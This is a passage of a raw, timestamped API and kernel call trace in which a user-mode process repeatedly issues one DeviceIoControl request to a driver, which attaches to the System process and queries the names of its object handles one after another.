ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.420] ObfDereferenceObject (Object=0xfffffa800f9bff20) returned 0x2 [0111.423] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.426] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.428] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.432] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.436] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.438] PsAcquireProcessExitSynchronization () returned 0x0 [0111.439] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.446] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a54, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80037f3460, HandleInformation=0x0) returned 0x0 [0111.446] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.448] PsReleaseProcessExitSynchronization () returned 0x2 [0111.450] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.450] ObQueryNameString (in: Object=0xfffffa80037f3460, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.453] ObfDereferenceObject (Object=0xfffffa80037f3460) returned 0x2 [0111.453] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.457] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.465] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.465] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.467] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.469] PsAcquireProcessExitSynchronization () returned 0x0 [0111.470] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.472] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80038537e0, HandleInformation=0x0) returned 0x0 [0111.472] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.473] PsReleaseProcessExitSynchronization () returned 0x2 [0111.475] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.475] ObQueryNameString (in: Object=0xfffffa80038537e0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.475] ObfDereferenceObject (Object=0xfffffa80038537e0) returned 0x2 [0111.475] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.475] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.475] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.475] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.475] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.475] PsAcquireProcessExitSynchronization () returned 0x0 [0111.475] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.475] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a6c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003853590, HandleInformation=0x0) returned 0x0 [0111.475] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.475] PsReleaseProcessExitSynchronization () returned 0x2 [0111.475] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.475] ObQueryNameString (in: Object=0xfffffa8003853590, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.475] ObfDereferenceObject (Object=0xfffffa8003853590) returned 0x2 [0111.475] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.476] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.476] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.476] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.476] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.476] PsAcquireProcessExitSynchronization () returned 0x0 [0111.476] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.476] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002891d10, HandleInformation=0x0) returned 0x0 [0111.476] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.476] PsReleaseProcessExitSynchronization () returned 0x2 [0111.476] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.476] ObQueryNameString (in: Object=0xfffffa8002891d10, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.476] ObfDereferenceObject (Object=0xfffffa8002891d10) returned 0x2 [0111.476] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.476] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.476] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.476] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.476] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.476] PsAcquireProcessExitSynchronization () returned 0x0 [0111.476] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.476] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a88, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80021b1930, HandleInformation=0x0) returned 0x0 [0111.476] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.476] PsReleaseProcessExitSynchronization () returned 0x2 [0111.476] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.476] ObQueryNameString (in: Object=0xfffffa80021b1930, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.476] ObfDereferenceObject (Object=0xfffffa80021b1930) returned 0x2 [0111.476] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.476] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.476] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.476] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.476] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.476] PsAcquireProcessExitSynchronization () returned 0x0 [0111.477] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.477] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a8c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003b8bf20, HandleInformation=0x0) returned 0x0 [0111.477] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.477] PsReleaseProcessExitSynchronization () returned 0x2 [0111.477] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.477] ObQueryNameString (in: Object=0xfffffa8003b8bf20, ObjectNameInfo=0xfffffa80024cf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80024cf044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.477] ObfDereferenceObject (Object=0xfffffa8003b8bf20) returned 0x2 [0111.477] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.477] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.477] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.477] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.477] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.477] PsAcquireProcessExitSynchronization () returned 0x0 [0111.477] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.477] ObReferenceObjectByHandle (in: Handle=0xffffffff80000aac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800258ec90, HandleInformation=0x0) returned 0x0 [0111.477] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.477] PsReleaseProcessExitSynchronization () returned 0x2 [0111.477] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.477] ObQueryNameString (in: Object=0xfffffa800258ec90, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.477] ObfDereferenceObject (Object=0xfffffa800258ec90) returned 0x2 [0111.477] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.477] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.477] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.477] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.477] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.477] PsAcquireProcessExitSynchronization () returned 0x0 [0111.477] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.477] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ab0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003161e20, HandleInformation=0x0) returned 0x0 [0111.477] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.477] PsReleaseProcessExitSynchronization () returned 0x2 [0111.477] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.477] ObQueryNameString (in: Object=0xfffffa8003161e20, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.477] ObfDereferenceObject (Object=0xfffffa8003161e20) returned 0x2 [0111.478] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.478] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.478] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.478] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.478] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.478] PsAcquireProcessExitSynchronization () returned 0x0 [0111.478] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.478] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ab4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800390e050, HandleInformation=0x0) returned 0x0 [0111.478] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.478] PsReleaseProcessExitSynchronization () returned 0x2 [0111.478] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.478] ObQueryNameString (in: Object=0xfffffa800390e050, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.478] ObfDereferenceObject (Object=0xfffffa800390e050) returned 0x2 [0111.478] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.478] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.478] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.478] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.478] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.478] PsAcquireProcessExitSynchronization () returned 0x0 [0111.478] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.478] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ab8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002503050, HandleInformation=0x0) returned 0x0 [0111.478] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.479] PsReleaseProcessExitSynchronization () returned 0x2 [0111.479] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.479] ObQueryNameString (in: Object=0xfffffa8002503050, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.479] ObfDereferenceObject (Object=0xfffffa8002503050) returned 0x2 [0111.479] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.479] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.479] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.479] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.479] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.479] PsAcquireProcessExitSynchronization () returned 0x0 [0111.479] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.479] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ac0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80025ec750, HandleInformation=0x0) returned 0x0 [0111.479] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.479] PsReleaseProcessExitSynchronization () returned 0x2 [0111.479] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.479] ObQueryNameString (in: Object=0xfffffa80025ec750, ObjectNameInfo=0xfffffa80037b8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037b8044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.479] ObfDereferenceObject (Object=0xfffffa80025ec750) returned 0x2 [0111.479] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.479] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.479] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.479] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.479] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.479] PsAcquireProcessExitSynchronization () returned 0x0 [0111.479] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.479] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ac8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80023084d0, HandleInformation=0x0) returned 0x0 [0111.479] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.479] PsReleaseProcessExitSynchronization () returned 0x2 [0111.479] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.479] ObQueryNameString (in: Object=0xfffffa80023084d0, ObjectNameInfo=0xfffffa800280d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800280d044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.479] ObfDereferenceObject (Object=0xfffffa80023084d0) returned 0x2 [0111.479] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.479] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.479] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.480] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.480] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.480] PsAcquireProcessExitSynchronization () returned 0x0 [0111.480] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.480] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ad0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800390ee50, HandleInformation=0x0) returned 0x0 [0111.480] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.480] PsReleaseProcessExitSynchronization () returned 0x2 [0111.480] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.480] ObQueryNameString (in: Object=0xfffffa800390ee50, ObjectNameInfo=0xfffffa80037b0704, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037b0704, ReturnLength=0xfffff88005590550) returned 0x0 [0111.480] ObfDereferenceObject (Object=0xfffffa800390ee50) returned 0x2 [0111.480] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.480] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.480] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.480] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.480] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.480] PsAcquireProcessExitSynchronization () returned 0x0 [0111.480] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.480] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ad8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800235a460, HandleInformation=0x0) returned 0x0 [0111.480] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.480] PsReleaseProcessExitSynchronization () returned 0x2 [0111.480] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.480] ObQueryNameString (in: Object=0xfffffa800235a460, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.480] ObfDereferenceObject (Object=0xfffffa800235a460) returned 0x2 [0111.480] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.480] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.480] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.480] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.480] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.480] PsAcquireProcessExitSynchronization () returned 0x0 [0111.480] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.480] ObReferenceObjectByHandle (in: Handle=0xffffffff80000aec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80024f8f20, HandleInformation=0x0) returned 0x0 [0111.480] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.481] PsReleaseProcessExitSynchronization () returned 0x2 [0111.481] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.481] ObQueryNameString (in: Object=0xfffffa80024f8f20, ObjectNameInfo=0xfffffa80023ac7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80023ac7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.481] ObfDereferenceObject (Object=0xfffffa80024f8f20) returned 0x2 [0111.481] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.481] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.482] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.485] 